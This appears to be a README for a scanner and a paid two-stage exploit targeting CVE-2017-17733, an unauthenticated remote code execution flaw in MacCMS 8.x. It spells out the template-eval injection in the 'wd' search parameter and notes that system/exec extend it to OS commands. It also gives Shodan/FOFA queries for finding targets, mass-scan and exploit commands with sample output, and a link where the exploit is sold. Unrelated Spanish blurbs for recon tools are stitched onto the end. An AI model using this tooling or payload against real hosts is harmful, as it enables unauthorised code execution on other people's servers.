
Scanner and two-stage exploit for CVE-2017-17733, an unauthenticated RCE in MacCMS 8.x via the wd search parameter, using md5 nonce reflection to confirm template eval.
Maccms 8.x - Remote Code Execution
| field | value |
|---|---|
| CVE | CVE-2017-17733 |
| severity | critical |
| CVSS | 9.8 (template CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H; NVD primary 3.0 vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, same base score; NVD 2.0 score 7.5) |
| fixed in | 8.x maintenance line (upstream repo magicblack/maccms8, final 8.x tag v2022.3004); NVD CPE lists maccms 8.0 |
| class | code injection RCE (template cwe-id CWE-94, NVD NVD-CWE-noinfo): eval() of the user-controlled {if-A:} tag in the 'wd' parameter of index.php?m=vod-search |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5TJ3
Maccms 8.x is vulnerable to unauthenticated remote code execution via the 'wd' (search keyword) parameter of index.php?m=vod-search. The MacCMS template parser compiles the {if-A:}...{endif-A} tag into PHP that evaluates (inc/common/template.php, ifex(), @eval), so a crafted wd value runs arbitrary PHP (and OS commands via system/ exec). The nuclei template injects print(md5()) and confirms code execution when the nonce's md5 is reflected in the response; the payload is PHP-native (no shell command), so it fires on both Windows and Linux hosts. NVD: EPSS 0.67252 (percentile 0.99314), published 2017-12-18.
The single template request (max-request: 1) is
GET /index.php?m=vod-search&wd={if-A:print(md5(<num>))}{endif-A} HTTP/1.1
Host: {{Hostname}}
with <num> a random integer in [10000000, 99999999]
({{rand_int(10000000, 99999999)}}). Route dispatch: index.php
splits m on - (vod + search), inc/module/vod.php search()
reads $wd = trim(be("all", "wd")) (so both the GET query and the
native POST form feed it) and pushes it into the template property
P["wd"]. The parser (inc/common/template.php, ifex()) matches
{if-(name):(expr)}...{endif-name} and runs @eval("if($strif){...}")
over the raw wd text, so print(md5(num)) writes the 32-char hex
digest straight into the rendered page.
matchers-condition: and requires both: HTTP status 200 and the
body containing md5(num) (the dsl pair
status_code == 200 / contains(body, md5(num))). A patched or
non-MacCMS host either does not eval the expression or returns a
different digest, and the pair fails. Template metadata:
shodan-query: http.html:"MacCms", fofa-query: app="maccms".
max-request: 1), mirroring the template.GET {BaseURL}/index.php?m=vod-search&wd={if-A:print(md5(num))}{endif-A}
with a fresh random nonce num per target.200 and the 32-char
lowercase hex of md5(num) present in the decoded body; the digest
only appears if eval() really ran on the injected expression.check(url) returns (True, details) only when both hold;
details keeps path, param, nonce, expected digest, status, content
type, per-matcher flags (digest_reflected, matched), a 200-char
snippet and the extractor string
template if-A eval: digest=... reflected=... status=... match=....token is computed over the JSON result so a merely
reflected page is distinguishable from a real template eval.urls.txt are auto-prefixed with http://.# scanner (GitHub side): streamed CSV + optional JSON sidecar
python scanner/CVE-2017-17733/scanner.py urls.txt 8 CVE-2017-17733.csv --json CVE-2017-17733.json
# exploit (satoshidisk side): result dict + optional CSV/JSON dumps
python exploit/CVE-2017-17733/exploit.py http://maccms-host --csv CVE-2017-17733.csv --json CVE-2017-17733.json --verbose
urls.txt is a plain file, one target per line, # for comments.
Lines may omit the scheme (127.0.0.1:80 works, http:// is
prepended). The route is the front controller index.php (module
m=vod-search), reachable on the site's HTTP port; with rewrite on or
off the same query string applies.
RCE POC SUITE
scanner : CVE-2017-17733 v1.0.0
threads : 4 | csv: CVE-2017-17733.csv | json: CVE-2017-17733.json
RCE POC SUITE
[..] loaded 2 target(s) from urls.txt
[..] [1/2] http://127.0.0.1:8091 -> VULNERABLE
[..] [2/2] http://127.0.0.1:8091 -> VULNERABLE
[..] json sidecar saved: CVE-2017-17733.json
[..] summary: total=2 vulnerable=2 not-vuln=0 errors=0
[..] timing : avg=7ms max=7ms wall=0.01s
[..] report saved: CVE-2017-17733.csv
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok / error |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | md5 proof-of-match (12 chars) |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.../../exploit/CVE-2017-17733/exploit.py - two-stage POC.| code | meaning |
|---|---|
| 0 | at least one target answered |
| 2 | every target errored (or no targets loaded) |
The POC returns 0 when its token verification passes and 2 on
verification failed.

Mapeo profundo de la superficie de ataque y descubrimiento de activos

Rápida herramienta de enumeración pasiva de subdominios.

reconFTW es una herramienta diseñada para realizar reconocimiento automatizado en un dominio objetivo ejecutando el mejor conjunto de herramientas para realizar escaneos y encontrar vulnerabilidades.